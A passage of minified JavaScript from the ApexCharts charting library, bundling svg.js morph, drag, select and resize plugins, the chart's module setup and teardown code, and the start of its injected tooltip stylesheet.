SVG.Matrix).rotate(M).scale(I,T).rotate(-M),k=0,A=b.length;k<A;k++)b[k][0]=b[k][0].transform(s),b[k][1]=b[k][1].transform(s),b[k][2]=b[k][2].transform(s);for(k=1,A=b.length;k<A;k++)S=(w=b[k-1][2]).x,C=w.y,L=(w=b[k][0]).x,P=w.y,E=(w=b[k][1]).x,Y=w.y,H.push(["C",S,C,L,P,E,Y]);return H}(this.pos,t),t=e[0]}return t[0]="C",this.pos=[t[5],t[6]],this.reflection=[2*t[5]-t[3],2*t[6]-t[4]],e}function s(t,e){if(!1===e)return!1;for(var i=e,a=t.length;i<a;++i)if("M"==t[i][0])return i;return!1}SVG.extend(SVG.PathArray,{morph:function(e){for(var i=this.value,a=this.parse(e),r=0,o=0,n=!1,l=!1;!1!==r||!1!==o;){var h;n=s(i,!1!==r&&r+1),l=s(a,!1!==o&&o+1),!1===r&&(r=0==(h=new SVG.PathArray(c.start).bbox()).height||0==h.width?i.push(i[0])-1:i.push(["M",h.x+h.width/2,h.y+h.height/2])-1),!1===o&&(o=0==(h=new SVG.PathArray(c.dest).bbox()).height||0==h.width?a.push(a[0])-1:a.push(["M",h.x+h.width/2,h.y+h.height/2])-1);var c=t(i,r,n,a,o,l);i=i.slice(0,r).concat(c.start,!1===n?[]:i.slice(n)),a=a.slice(0,o).concat(c.dest,!1===l?[]:a.slice(l)),r=!1!==n&&r+c.start.length,o=!1!==l&&o+c.dest.length}return this.value=i,this.destination=new SVG.PathArray,this.destination.value=a,this}})}(),
/*! svg.draggable.js - v2.2.2 - 2019-01-08
  * https://github.com/svgdotjs/svg.draggable.js
  * Copyright (c) 2019 Wout Fierens; Licensed MIT */
function(){function t(t){t.remember("_draggable",this),this.el=t}t.prototype.init=function(t,e){var i=this;this.constraint=t,this.value=e,this.el.on("mousedown.drag",(function(t){i.start(t)})),this.el.on("touchstart.drag",(function(t){i.start(t)}))},t.prototype.transformPoint=function(t,e){var i=(t=t||window.event).changedTouches&&t.changedTouches[0]||t;return this.p.x=i.clientX-(e||0),this.p.y=i.clientY,this.p.matrixTransform(this.m)},t.prototype.getBBox=function(){var t=this.el.bbox();return this.el instanceof SVG.Nested&&(t=this.el.rbox()),(this.el instanceof SVG.G||this.el instanceof SVG.Use||this.el instanceof SVG.Nested)&&(t.x=this.el.x(),t.y=this.el.y()),t},t.prototype.start=function(t){if("click"!=t.type&&"mousedown"!=t.type&&"mousemove"!=t.type||1==(t.which||t.buttons)){var e=this;if(this.el.fire("beforedrag",{event:t,handler:this}),!this.el.event().defaultPrevented){t.preventDefault(),t.stopPropagation(),this.parent=this.parent||this.el.parent(SVG.Nested)||this.el.parent(SVG.Doc),this.p=this.parent.node.createSVGPoint(),this.m=this.el.node.getScreenCTM().inverse();var i,a=this.getBBox();if(this.el instanceof SVG.Text)switch(i=this.el.node.getComputedTextLength(),this.el.attr("text-anchor")){case"middle":i/=2;break;case"start":i=0}this.startPoints={point:this.transformPoint(t,i),box:a,transform:this.el.transform()},SVG.on(window,"mousemove.drag",(function(t){e.drag(t)})),SVG.on(window,"touchmove.drag",(function(t){e.drag(t)})),SVG.on(window,"mouseup.drag",(function(t){e.end(t)})),SVG.on(window,"touchend.drag",(function(t){e.end(t)})),this.el.fire("dragstart",{event:t,p:this.startPoints.point,m:this.m,handler:this})}}},t.prototype.drag=function(t){var e=this.getBBox(),i=this.transformPoint(t),a=this.startPoints.box.x+i.x-this.startPoints.point.x,s=this.startPoints.box.y+i.y-this.startPoints.point.y,r=this.constraint,o=i.x-this.startPoints.point.x,n=i.y-this.startPoints.point.y;if(this.el.fire("dragmove",{event:t,p:i,m:this.m,handler:this}),this.el.event().defaultPrevented)return i;if("function"==typeof r){var l=r.call(this.el,a,s,this.m);"boolean"==typeof l&&(l={x:l,y:l}),!0===l.x?this.el.x(a):!1!==l.x&&this.el.x(l.x),!0===l.y?this.el.y(s):!1!==l.y&&this.el.y(l.y)}else"object"==typeof r&&(null!=r.minX&&a<r.minX?o=(a=r.minX)-this.startPoints.box.x:null!=r.maxX&&a>r.maxX-e.width&&(o=(a=r.maxX-e.width)-this.startPoints.box.x),null!=r.minY&&s<r.minY?n=(s=r.minY)-this.startPoints.box.y:null!=r.maxY&&s>r.maxY-e.height&&(n=(s=r.maxY-e.height)-this.startPoints.box.y),null!=r.snapToGrid&&(a-=a%r.snapToGrid,s-=s%r.snapToGrid,o-=o%r.snapToGrid,n-=n%r.snapToGrid),this.el instanceof SVG.G?this.el.matrix(this.startPoints.transform).transform({x:o,y:n},!0):this.el.move(a,s));return i},t.prototype.end=function(t){var e=this.drag(t);this.el.fire("dragend",{event:t,p:e,m:this.m,handler:this}),SVG.off(window,"mousemove.drag"),SVG.off(window,"touchmove.drag"),SVG.off(window,"mouseup.drag"),SVG.off(window,"touchend.drag")},SVG.extend(SVG.Element,{draggable:function(e,i){"function"!=typeof e&&"object"!=typeof e||(i=e,e=!0);var a=this.remember("_draggable")||new t(this);return(e=void 0===e||e)?a.init(i||{},e):(this.off("mousedown.drag"),this.off("touchstart.drag")),this}})}.call(void 0),function(){function t(t){this.el=t,t.remember("_selectHandler",this),this.pointSelection={isSelected:!1},this.rectSelection={isSelected:!1},this.pointsList={lt:[0,0],rt:["width",0],rb:["width","height"],lb:[0,"height"],t:["width",0],r:["width","height"],b:["width","height"],l:[0,"height"]},this.pointCoord=function(t,e,i){var a="string"!=typeof t?t:e[t];return i?a/2:a},this.pointCoords=function(t,e){var i=this.pointsList[t];return{x:this.pointCoord(i[0],e,"t"===t||"b"===t),y:this.pointCoord(i[1],e,"r"===t||"l"===t)}}}t.prototype.init=function(t,e){var i=this.el.bbox();this.options={};var a=this.el.selectize.defaults.points;for(var s in this.el.selectize.defaults)this.options[s]=this.el.selectize.defaults[s],void 0!==e[s]&&(this.options[s]=e[s]);var r=["points","pointsExclude"];for(var s in r){var o=this.options[r[s]];"string"==typeof o?o=o.length>0?o.split(/\s*,\s*/i):[]:"boolean"==typeof o&&"points"===r[s]&&(o=o?a:[]),this.options[r[s]]=o}this.options.points=[a,this.options.points].reduce((function(t,e){return t.filter((function(t){return e.indexOf(t)>-1}))})),this.options.points=[this.options.points,this.options.pointsExclude].reduce((function(t,e){return t.filter((function(t){return e.indexOf(t)<0}))})),this.parent=this.el.parent(),this.nested=this.nested||this.parent.group(),this.nested.matrix(new SVG.Matrix(this.el).translate(i.x,i.y)),this.options.deepSelect&&-1!==["line","polyline","polygon"].indexOf(this.el.type)?this.selectPoints(t):this.selectRect(t),this.observe(),this.cleanup()},t.prototype.selectPoints=function(t){return this.pointSelection.isSelected=t,this.pointSelection.set||(this.pointSelection.set=this.parent.set(),this.drawPoints()),this},t.prototype.getPointArray=function(){var t=this.el.bbox();return this.el.array().valueOf().map((function(e){return[e[0]-t.x,e[1]-t.y]}))},t.prototype.drawPoints=function(){for(var t=this,e=this.getPointArray(),i=0,a=e.length;i<a;++i){var s=function(e){return function(i){(i=i||window.event).preventDefault?i.preventDefault():i.returnValue=!1,i.stopPropagation();var a=i.pageX||i.touches[0].pageX,s=i.pageY||i.touches[0].pageY;t.el.fire("point",{x:a,y:s,i:e,event:i})}}(i),r=this.drawPoint(e[i][0],e[i][1]).addClass(this.options.classPoints).addClass(this.options.classPoints+"_point").on("touchstart",s).on("mousedown",s);this.pointSelection.set.add(r)}},t.prototype.drawPoint=function(t,e){var i=this.options.pointType;switch(i){case"circle":return this.drawCircle(t,e);case"rect":return this.drawRect(t,e);default:if("function"==typeof i)return i.call(this,t,e);throw new Error("Unknown "+i+" point type!")}},t.prototype.drawCircle=function(t,e){return this.nested.circle(this.options.pointSize).center(t,e)},t.prototype.drawRect=function(t,e){return this.nested.rect(this.options.pointSize,this.options.pointSize).center(t,e)},t.prototype.updatePointSelection=function(){var t=this.getPointArray();this.pointSelection.set.each((function(e){this.cx()===t[e][0]&&this.cy()===t[e][1]||this.center(t[e][0],t[e][1])}))},t.prototype.updateRectSelection=function(){var t=this,e=this.el.bbox();if(this.rectSelection.set.get(0).attr({width:e.width,height:e.height}),this.options.points.length&&this.options.points.map((function(i,a){var s=t.pointCoords(i,e);t.rectSelection.set.get(a+1).center(s.x,s.y)})),this.options.rotationPoint){var i=this.rectSelection.set.length();this.rectSelection.set.get(i-1).center(e.width/2,20)}},t.prototype.selectRect=function(t){var e=this,i=this.el.bbox();function a(t){return function(i){(i=i||window.event).preventDefault?i.preventDefault():i.returnValue=!1,i.stopPropagation();var a=i.pageX||i.touches[0].pageX,s=i.pageY||i.touches[0].pageY;e.el.fire(t,{x:a,y:s,event:i})}}if(this.rectSelection.isSelected=t,this.rectSelection.set=this.rectSelection.set||this.parent.set(),this.rectSelection.set.get(0)||this.rectSelection.set.add(this.nested.rect(i.width,i.height).addClass(this.options.classRect)),this.options.points.length&&this.rectSelection.set.length()<2){this.options.points.map((function(t,s){var r=e.pointCoords(t,i),o=e.drawPoint(r.x,r.y).attr("class",e.options.classPoints+"_"+t).on("mousedown",a(t)).on("touchstart",a(t));e.rectSelection.set.add(o)})),this.rectSelection.set.each((function(){this.addClass(e.options.classPoints)}))}if(this.options.rotationPoint&&(this.options.points&&!this.rectSelection.set.get(9)||!this.options.points&&!this.rectSelection.set.get(1))){var s=function(t){(t=t||window.event).preventDefault?t.preventDefault():t.returnValue=!1,t.stopPropagation();var i=t.pageX||t.touches[0].pageX,a=t.pageY||t.touches[0].pageY;e.el.fire("rot",{x:i,y:a,event:t})},r=this.drawPoint(i.width/2,20).attr("class",this.options.classPoints+"_rot").on("touchstart",s).on("mousedown",s);this.rectSelection.set.add(r)}},t.prototype.handler=function(){var t=this.el.bbox();this.nested.matrix(new SVG.Matrix(this.el).translate(t.x,t.y)),this.rectSelection.isSelected&&this.updateRectSelection(),this.pointSelection.isSelected&&this.updatePointSelection()},t.prototype.observe=function(){var t=this;if(MutationObserver)if(this.rectSelection.isSelected||this.pointSelection.isSelected)this.observerInst=this.observerInst||new MutationObserver((function(){t.handler()})),this.observerInst.observe(this.el.node,{attributes:!0});else try{this.observerInst.disconnect(),delete this.observerInst}catch(t){}else this.el.off("DOMAttrModified.select"),(this.rectSelection.isSelected||this.pointSelection.isSelected)&&this.el.on("DOMAttrModified.select",(function(){t.handler()}))},t.prototype.cleanup=function(){!this.rectSelection.isSelected&&this.rectSelection.set&&(this.rectSelection.set.each((function(){this.remove()})),this.rectSelection.set.clear(),delete this.rectSelection.set),!this.pointSelection.isSelected&&this.pointSelection.set&&(this.pointSelection.set.each((function(){this.remove()})),this.pointSelection.set.clear(),delete this.pointSelection.set),this.pointSelection.isSelected||this.rectSelection.isSelected||(this.nested.remove(),delete this.nested)},SVG.extend(SVG.Element,{selectize:function(e,i){return"object"==typeof e&&(i=e,e=!0),(this.remember("_selectHandler")||new t(this)).init(void 0===e||e,i||{}),this}}),SVG.Element.prototype.selectize.defaults={points:["lt","rt","rb","lb","t","r","b","l"],pointsExclude:[],classRect:"svg_select_boundingRect",classPoints:"svg_select_points",pointSize:7,rotationPoint:!0,deepSelect:!1,pointType:"circle"}}(),function(){(function(){function t(t){t.remember("_resizeHandler",this),this.el=t,this.parameters={},this.lastUpdateCall=null,this.p=t.doc().node.createSVGPoint()}t.prototype.transformPoint=function(t,e,i){return this.p.x=t-(this.offset.x-window.pageXOffset),this.p.y=e-(this.offset.y-window.pageYOffset),this.p.matrixTransform(i||this.m)},t.prototype._extractPosition=function(t){return{x:null!=t.clientX?t.clientX:t.touches[0].clientX,y:null!=t.clientY?t.clientY:t.touches[0].clientY}},t.prototype.init=function(t){var e=this;if(this.stop(),"stop"!==t){for(var i in this.options={},this.el.resize.defaults)this.options[i]=this.el.resize.defaults[i],void 0!==t[i]&&(this.options[i]=t[i]);this.el.on("lt.resize",(function(t){e.resize(t||window.event)})),this.el.on("rt.resize",(function(t){e.resize(t||window.event)})),this.el.on("rb.resize",(function(t){e.resize(t||window.event)})),this.el.on("lb.resize",(function(t){e.resize(t||window.event)})),this.el.on("t.resize",(function(t){e.resize(t||window.event)})),this.el.on("r.resize",(function(t){e.resize(t||window.event)})),this.el.on("b.resize",(function(t){e.resize(t||window.event)})),this.el.on("l.resize",(function(t){e.resize(t||window.event)})),this.el.on("rot.resize",(function(t){e.resize(t||window.event)})),this.el.on("point.resize",(function(t){e.resize(t||window.event)})),this.update()}},t.prototype.stop=function(){return this.el.off("lt.resize"),this.el.off("rt.resize"),this.el.off("rb.resize"),this.el.off("lb.resize"),this.el.off("t.resize"),this.el.off("r.resize"),this.el.off("b.resize"),this.el.off("l.resize"),this.el.off("rot.resize"),this.el.off("point.resize"),this},t.prototype.resize=function(t){var e=this;this.m=this.el.node.getScreenCTM().inverse(),this.offset={x:window.pageXOffset,y:window.pageYOffset};var i=this._extractPosition(t.detail.event);if(this.parameters={type:this.el.type,p:this.transformPoint(i.x,i.y),x:t.detail.x,y:t.detail.y,box:this.el.bbox(),rotation:this.el.transform().rotation},"text"===this.el.type&&(this.parameters.fontSize=this.el.attr()["font-size"]),void 0!==t.detail.i){var a=this.el.array().valueOf();this.parameters.i=t.detail.i,this.parameters.pointCoords=[a[t.detail.i][0],a[t.detail.i][1]]}switch(t.type){case"lt":this.calc=function(t,e){var i=this.snapToGrid(t,e);if(this.parameters.box.width-i[0]>0&&this.parameters.box.height-i[1]>0){if("text"===this.parameters.type)return this.el.move(this.parameters.box.x+i[0],this.parameters.box.y),void this.el.attr("font-size",this.parameters.fontSize-i[0]);i=this.checkAspectRatio(i),this.el.move(this.parameters.box.x+i[0],this.parameters.box.y+i[1]).size(this.parameters.box.width-i[0],this.parameters.box.height-i[1])}};break;case"rt":this.calc=function(t,e){var i=this.snapToGrid(t,e,2);if(this.parameters.box.width+i[0]>0&&this.parameters.box.height-i[1]>0){if("text"===this.parameters.type)return this.el.move(this.parameters.box.x-i[0],this.parameters.box.y),void this.el.attr("font-size",this.parameters.fontSize+i[0]);i=this.checkAspectRatio(i,!0),this.el.move(this.parameters.box.x,this.parameters.box.y+i[1]).size(this.parameters.box.width+i[0],this.parameters.box.height-i[1])}};break;case"rb":this.calc=function(t,e){var i=this.snapToGrid(t,e,0);if(this.parameters.box.width+i[0]>0&&this.parameters.box.height+i[1]>0){if("text"===this.parameters.type)return this.el.move(this.parameters.box.x-i[0],this.parameters.box.y),void this.el.attr("font-size",this.parameters.fontSize+i[0]);i=this.checkAspectRatio(i),this.el.move(this.parameters.box.x,this.parameters.box.y).size(this.parameters.box.width+i[0],this.parameters.box.height+i[1])}};break;case"lb":this.calc=function(t,e){var i=this.snapToGrid(t,e,1);if(this.parameters.box.width-i[0]>0&&this.parameters.box.height+i[1]>0){if("text"===this.parameters.type)return this.el.move(this.parameters.box.x+i[0],this.parameters.box.y),void this.el.attr("font-size",this.parameters.fontSize-i[0]);i=this.checkAspectRatio(i,!0),this.el.move(this.parameters.box.x+i[0],this.parameters.box.y).size(this.parameters.box.width-i[0],this.parameters.box.height+i[1])}};break;case"t":this.calc=function(t,e){var i=this.snapToGrid(t,e,2);if(this.parameters.box.height-i[1]>0){if("text"===this.parameters.type)return;this.el.move(this.parameters.box.x,this.parameters.box.y+i[1]).height(this.parameters.box.height-i[1])}};break;case"r":this.calc=function(t,e){var i=this.snapToGrid(t,e,0);if(this.parameters.box.width+i[0]>0){if("text"===this.parameters.type)return;this.el.move(this.parameters.box.x,this.parameters.box.y).width(this.parameters.box.width+i[0])}};break;case"b":this.calc=function(t,e){var i=this.snapToGrid(t,e,0);if(this.parameters.box.height+i[1]>0){if("text"===this.parameters.type)return;this.el.move(this.parameters.box.x,this.parameters.box.y).height(this.parameters.box.height+i[1])}};break;case"l":this.calc=function(t,e){var i=this.snapToGrid(t,e,1);if(this.parameters.box.width-i[0]>0){if("text"===this.parameters.type)return;this.el.move(this.parameters.box.x+i[0],this.parameters.box.y).width(this.parameters.box.width-i[0])}};break;case"rot":this.calc=function(t,e){var i=t+this.parameters.p.x,a=e+this.parameters.p.y,s=Math.atan2(this.parameters.p.y-this.parameters.box.y-this.parameters.box.height/2,this.parameters.p.x-this.parameters.box.x-this.parameters.box.width/2),r=Math.atan2(a-this.parameters.box.y-this.parameters.box.height/2,i-this.parameters.box.x-this.parameters.box.width/2),o=this.parameters.rotation+180*(r-s)/Math.PI+this.options.snapToAngle/2;this.el.center(this.parameters.box.cx,this.parameters.box.cy).rotate(o-o%this.options.snapToAngle,this.parameters.box.cx,this.parameters.box.cy)};break;case"point":this.calc=function(t,e){var i=this.snapToGrid(t,e,this.parameters.pointCoords[0],this.parameters.pointCoords[1]),a=this.el.array().valueOf();a[this.parameters.i][0]=this.parameters.pointCoords[0]+i[0],a[this.parameters.i][1]=this.parameters.pointCoords[1]+i[1],this.el.plot(a)}}this.el.fire("resizestart",{dx:this.parameters.x,dy:this.parameters.y,event:t}),SVG.on(window,"touchmove.resize",(function(t){e.update(t||window.event)})),SVG.on(window,"touchend.resize",(function(){e.done()})),SVG.on(window,"mousemove.resize",(function(t){e.update(t||window.event)})),SVG.on(window,"mouseup.resize",(function(){e.done()}))},t.prototype.update=function(t){if(t){var e=this._extractPosition(t),i=this.transformPoint(e.x,e.y),a=i.x-this.parameters.p.x,s=i.y-this.parameters.p.y;this.lastUpdateCall=[a,s],this.calc(a,s),this.el.fire("resizing",{dx:a,dy:s,event:t})}else this.lastUpdateCall&&this.calc(this.lastUpdateCall[0],this.lastUpdateCall[1])},t.prototype.done=function(){this.lastUpdateCall=null,SVG.off(window,"mousemove.resize"),SVG.off(window,"mouseup.resize"),SVG.off(window,"touchmove.resize"),SVG.off(window,"touchend.resize"),this.el.fire("resizedone")},t.prototype.snapToGrid=function(t,e,i,a){var s;return void 0!==a?s=[(i+t)%this.options.snapToGrid,(a+e)%this.options.snapToGrid]:(i=null==i?3:i,s=[(this.parameters.box.x+t+(1&i?0:this.parameters.box.width))%this.options.snapToGrid,(this.parameters.box.y+e+(2&i?0:this.parameters.box.height))%this.options.snapToGrid]),t<0&&(s[0]-=this.options.snapToGrid),e<0&&(s[1]-=this.options.snapToGrid),t-=Math.abs(s[0])<this.options.snapToGrid/2?s[0]:s[0]-(t<0?-this.options.snapToGrid:this.options.snapToGrid),e-=Math.abs(s[1])<this.options.snapToGrid/2?s[1]:s[1]-(e<0?-this.options.snapToGrid:this.options.snapToGrid),this.constraintToBox(t,e,i,a)},t.prototype.constraintToBox=function(t,e,i,a){var s,r,o=this.options.constraint||{};return void 0!==a?(s=i,r=a):(s=this.parameters.box.x+(1&i?0:this.parameters.box.width),r=this.parameters.box.y+(2&i?0:this.parameters.box.height)),void 0!==o.minX&&s+t<o.minX&&(t=o.minX-s),void 0!==o.maxX&&s+t>o.maxX&&(t=o.maxX-s),void 0!==o.minY&&r+e<o.minY&&(e=o.minY-r),void 0!==o.maxY&&r+e>o.maxY&&(e=o.maxY-r),[t,e]},t.prototype.checkAspectRatio=function(t,e){if(!this.options.saveAspectRatio)return t;var i=t.slice(),a=this.parameters.box.width/this.parameters.box.height,s=this.parameters.box.width+t[0],r=this.parameters.box.height-t[1],o=s/r;return o<a?(i[1]=s/a-this.parameters.box.height,e&&(i[1]=-i[1])):o>a&&(i[0]=this.parameters.box.width-r*a,e&&(i[0]=-i[0])),i},SVG.extend(SVG.Element,{resize:function(e){return(this.remember("_resizeHandler")||new t(this)).init(e||{}),this}}),SVG.Element.prototype.resize.defaults={snapToAngle:.1,snapToGrid:1,constraint:{},saveAspectRatio:!1}}).call(this)}(),void 0===window.Apex&&(window.Apex={});var Ot=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w}return r(t,[{key:"initModules",value:function(){this.ctx.publicMethods=["updateOptions","updateSeries","appendData","appendSeries","toggleSeries","showSeries","hideSeries","setLocale","resetSeries","zoomX","toggleDataPointSelection","dataURI","exportToCSV","addXaxisAnnotation","addYaxisAnnotation","addPointAnnotation","clearAnnotations","removeAnnotation","paper","destroy"],this.ctx.eventList=["click","mousedown","mousemove","mouseleave","touchstart","touchmove","touchleave","mouseup","touchend"],this.ctx.animations=new b(this.ctx),this.ctx.axes=new J(this.ctx),this.ctx.core=new Ht(this.ctx.el,this.ctx),this.ctx.config=new E({}),this.ctx.data=new W(this.ctx),this.ctx.grid=new j(this.ctx),this.ctx.graphics=new m(this.ctx),this.ctx.coreUtils=new y(this.ctx),this.ctx.crosshairs=new Q(this.ctx),this.ctx.events=new Z(this.ctx),this.ctx.exports=new G(this.ctx),this.ctx.localization=new $(this.ctx),this.ctx.options=new L,this.ctx.responsive=new K(this.ctx),this.ctx.series=new N(this.ctx),this.ctx.theme=new tt(this.ctx),this.ctx.formatters=new T(this.ctx),this.ctx.titleSubtitle=new et(this.ctx),this.ctx.legend=new lt(this.ctx),this.ctx.toolbar=new ht(this.ctx),this.ctx.tooltip=new bt(this.ctx),this.ctx.dimensions=new ot(this.ctx),this.ctx.updateHelpers=new Dt(this.ctx),this.ctx.zoomPanSelection=new ct(this.ctx),this.ctx.w.globals.tooltip=new bt(this.ctx)}}]),t}(),Nt=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w}return r(t,[{key:"clear",value:function(t){var e=t.isUpdating;this.ctx.zoomPanSelection&&this.ctx.zoomPanSelection.destroy(),this.ctx.toolbar&&this.ctx.toolbar.destroy(),this.ctx.animations=null,this.ctx.axes=null,this.ctx.annotations=null,this.ctx.core=null,this.ctx.data=null,this.ctx.grid=null,this.ctx.series=null,this.ctx.responsive=null,this.ctx.theme=null,this.ctx.formatters=null,this.ctx.titleSubtitle=null,this.ctx.legend=null,this.ctx.dimensions=null,this.ctx.options=null,this.ctx.crosshairs=null,this.ctx.zoomPanSelection=null,this.ctx.updateHelpers=null,this.ctx.toolbar=null,this.ctx.localization=null,this.ctx.w.globals.tooltip=null,this.clearDomElements({isUpdating:e})}},{key:"killSVG",value:function(t){t.each((function(t,e){this.removeClass("*"),this.off(),this.stop()}),!0),t.ungroup(),t.clear()}},{key:"clearDomElements",value:function(t){var e=this,i=t.isUpdating,a=this.w.globals.dom.Paper.node;a.parentNode&&a.parentNode.parentNode&&!i&&(a.parentNode.parentNode.style.minHeight="unset");var s=this.w.globals.dom.baseEl;s&&this.ctx.eventList.forEach((function(t){s.removeEventListener(t,e.ctx.events.documentEvent)}));var r=this.w.globals.dom;if(null!==this.ctx.el)for(;this.ctx.el.firstChild;)this.ctx.el.removeChild(this.ctx.el.firstChild);this.killSVG(r.Paper),r.Paper.remove(),r.elWrap=null,r.elGraphical=null,r.elLegendWrap=null,r.elLegendForeign=null,r.baseEl=null,r.elGridRect=null,r.elGridRectMask=null,r.elGridRectMarkerMask=null,r.elForecastMask=null,r.elNonForecastMask=null,r.elDefs=null}}]),t}(),Wt=new WeakMap;var Bt=function(){function t(e,i){a(this,t),this.opts=i,this.ctx=this,this.w=new F(i).init(),this.el=e,this.w.globals.cuid=x.randomId(),this.w.globals.chartID=this.w.config.chart.id?x.escapeString(this.w.config.chart.id):this.w.globals.cuid,new Ot(this).initModules(),this.create=x.bind(this.create,this),this.windowResizeHandler=this._windowResizeHandler.bind(this),this.parentResizeHandler=this._parentResizeCallback.bind(this)}return r(t,[{key:"render",value:function(){var t=this;return new Promise((function(e,i){if(null!==t.el){void 0===Apex._chartInstances&&(Apex._chartInstances=[]),t.w.config.chart.id&&Apex._chartInstances.push({id:t.w.globals.chartID,group:t.w.config.chart.group,chart:t}),t.setLocale(t.w.config.chart.defaultLocale);var a=t.w.config.chart.events.beforeMount;if("function"==typeof a&&a(t,t.w),t.events.fireEvent("beforeMount",[t,t.w]),window.addEventListener("resize",t.windowResizeHandler),function(t,e){var i=!1;if(t.nodeType!==Node.DOCUMENT_FRAGMENT_NODE){var a=t.getBoundingClientRect();"none"!==t.style.display&&0!==a.width||(i=!0)}var s=new ResizeObserver((function(a){i&&e.call(t,a),i=!0}));t.nodeType===Node.DOCUMENT_FRAGMENT_NODE?Array.from(t.children).forEach((function(t){return s.observe(t)})):s.observe(t),Wt.set(e,s)}(t.el.parentNode,t.parentResizeHandler),!t.css){var s=t.el.getRootNode&&t.el.getRootNode(),r=x.is("ShadowRoot",s),o=t.el.ownerDocument,n=o.getElementById("apexcharts-css");!r&&n||(t.css=document.createElement("style"),t.css.id="apexcharts-css",t.css.textContent='@keyframes opaque {\n  0% {\n      opacity: 0\n  }\n\n  to {\n      opacity: 1\n  }\n}\n\n@keyframes resizeanim {\n  0%,to {\n      opacity: 0\n  }\n}\n\n.apexcharts-canvas {\n  position: relative;\n  user-select: none\n}\n\n.apexcharts-canvas ::-webkit-scrollbar {\n  -webkit-appearance: none;\n  width: 6px\n}\n\n.apexcharts-canvas ::-webkit-scrollbar-thumb {\n  border-radius: 4px;\n  background-color: rgba(0,0,0,.5);\n  box-shadow: 0 0 1px rgba(255,255,255,.5);\n  -webkit-box-shadow: 0 0 1px rgba(255,255,255,.5)\n}\n\n.apexcharts-inner {\n  position: relative\n}\n\n.apexcharts-text tspan {\n  font-family: inherit\n}\n\n.legend-mouseover-inactive {\n  transition: .15s ease all;\n  opacity: .2\n}\n\n.apexcharts-legend-text {\n  padding-left: 15px;\n  margin-left: -15px;\n}\n\n.apexcharts-series-collapsed {\n  opacity: 0\n}\n\n.apexcharts-tooltip {\n  border-radius: 3px;\n  box-shadow: 2px 2px 6px -4px #999;\n  cursor: default;\n  font-size: 14px;\n  left: 62px;\n  opacity: 0;\n  pointer-events: none;\n  position: absolute;\n  top: 20px;\n  display: flex;\n  flex-direction: column;\n  overflow: hidden;\n  white-space: nowrap;\n  z-index: 12;\n  transition: .15s ease all\n}\n\n.apexcharts-tooltip.apexcharts-active {\n  opacity: 1;\n  transition: .15s ease all\n}\n\n.apexcharts-tooltip.apexcharts-theme-light {\n  border: 1px solid #000000;\n  background: rgba(255,255,255,.96)\n}\n\n.apexcharts-tooltip.apexcharts-theme-dark {\n  color: #fff;\n  background: rgba(30,30,30,.8)\n}\n\n.apexcharts-tooltip * {\n  font-family: inherit\n}\n\n.apexcharts-tooltip-title {\n  padding: 6px;\n  font-size: 15px;\n  margin-bottom: 4px\n}\n\n.apexcharts-tooltip.apexcharts-theme-light .apexcharts-tooltip-title {\n  background: #ffffff;\n  border-bottom: 1px solid #ddd\n}\n\n.apexcharts-tooltip.apexcharts-theme-dark .apexcharts-tooltip-title {\n  background: rgba(0,0,0,.7);\n  border-bottom: 1px solid #333\n}\n\n.apexcharts-tooltip-text-goals-value,.apexcharts-tooltip-text-y-value,.apexcharts-tooltip-text-z-value {\n  display: inline-block;\n  margin-left: 5px;\n  font-weight: 600\n}\n\n.apexcharts-tooltip-text-goals-label:empty,.apexcharts-tooltip-text-goals-value:empty,.apexcharts-tooltip-text-y-label:empty,.apexcharts-tooltip-text-y-value:empty,.apexcharts-tooltip-text-z-value:empty,.apexcharts-tooltip-title:empty {\n  display: none\n}\n\n.apexcharts-tooltip-text-goals-label,.apexcharts-tooltip-text-goals-value {\n  padding: 6px 0 5px\n}\n\n.apexcharts-tooltip-goals-group,.apexcharts-tooltip-text-goals-label,.apexcharts-tooltip-text-goals-value {\n  display: flex\n}\n\n.apexcharts-tooltip-text-goals-label:not(:empty),.apexcharts-tooltip-text-goals-value:not(:empty) {\n  margin-top: -6px\n}\n\n.apexcharts-tooltip-marker {\n  width: 12px;\n  height: 12px;\n  position: relative;\n  top: 0;\n  margin-right: 10px;\n  border-radius: 50%\n}\n\n.apexcharts-tooltip-series-group {\n  padding: 0 10px;\n  display: none;\n  text-align: left;\n  justify-content: left;\n  align-items: center\n}\n\n.apexcharts-tooltip-series-group.apexcharts-active .apexcharts-tooltip-marker {\n  opacity: 1\n}\n\n.apexcharts-tooltip-series-group.apexcharts-active,.apexcharts-tooltip-series-group:last-child {\n  padding-bottom: 4px\n}\n\n.apexcharts-tooltip-series-group-hidden {\n  opacity: 0;\n  height: 0;\n  line-height: 0;\n  padding: 0!important\n}\n\n.apexcharts-tooltip-y-group {\n  padding: 6px 0 5px\n}\n\n.apexcharts-custom-tooltip,.apexcharts-tooltip-box {\n  padding: 4px 8px\n}\n\n.apexcharts-tooltip-boxPlot {\n  display: flex;\n  flex-direction: column-reverse\n}\n\n.apexcharts-tooltip-box>div {\n  margin: 4px 0\n}\n\n.apexcharts-tooltip-box span.value {\n  font-weight: 700\n}\n\n.apexcharts-tooltip-rangebar {\n  padding: 5px 8px\n}\n\n.apexcharts-tooltip-rangebar .category {\n  font-weight: 600;\n  color: #777\n}\n\n.apexcharts-tooltip-rangebar .series-name {\n  font-weight: 700;\n  display: block;\n  margin-bottom: 5px\n}\n\n.apexcharts-xaxistooltip,.apexcharts-yaxistooltip {\n  opacity: 0;\n  pointer-events: none;\n  color: #373d3f;\n  font-size: 13px;\n  text-align: center;\n  border-radius: 2px;\n  position: absolute;\n  z-index: 10;\n  background: #ffffff;\n  border: 1px solid #90a4ae\n}\n\n.apexcharts-xaxistooltip {\n  padding: 9px 10px;\n  transition: .15s ease all\n}\n\n.apexcharts-xaxistooltip.apexcharts-theme-dark {\n  background: rgba(0,0,0,.7);\n  border: 1px solid rgba(0,0,0,.5);\n  color: #fff\n}\n\n.apexcharts-xaxistooltip:after,.apexcharts-xaxistooltip:before {\n  left: 50%;\n  border: solid transparent;\n  content: " ";\n  height: 0;\n  width: 0;\n  position: absolute;\n  pointer-events: none\n}\n\n.apexcharts-xaxistooltip:after {\n  border-color: transparent;\n  border-width: 6px;\n  margin-left: -6px\n}\n\n.apexcharts-xaxistooltip:before {\n  border-color: transparent;\n  border-width: 7px;\n  margin-left: -7px\n}\n\n.apexcharts-xaxistooltip-bottom:after,.apexcharts-xaxistooltip-bottom:before {\n  bottom: 100%\n}\n\n.apexcharts-xaxistooltip-top:after,.apexcharts-xaxistooltip-top:before {\n  top: 100%\n}\n\n.apexcharts-xaxistooltip-bottom:after {\n  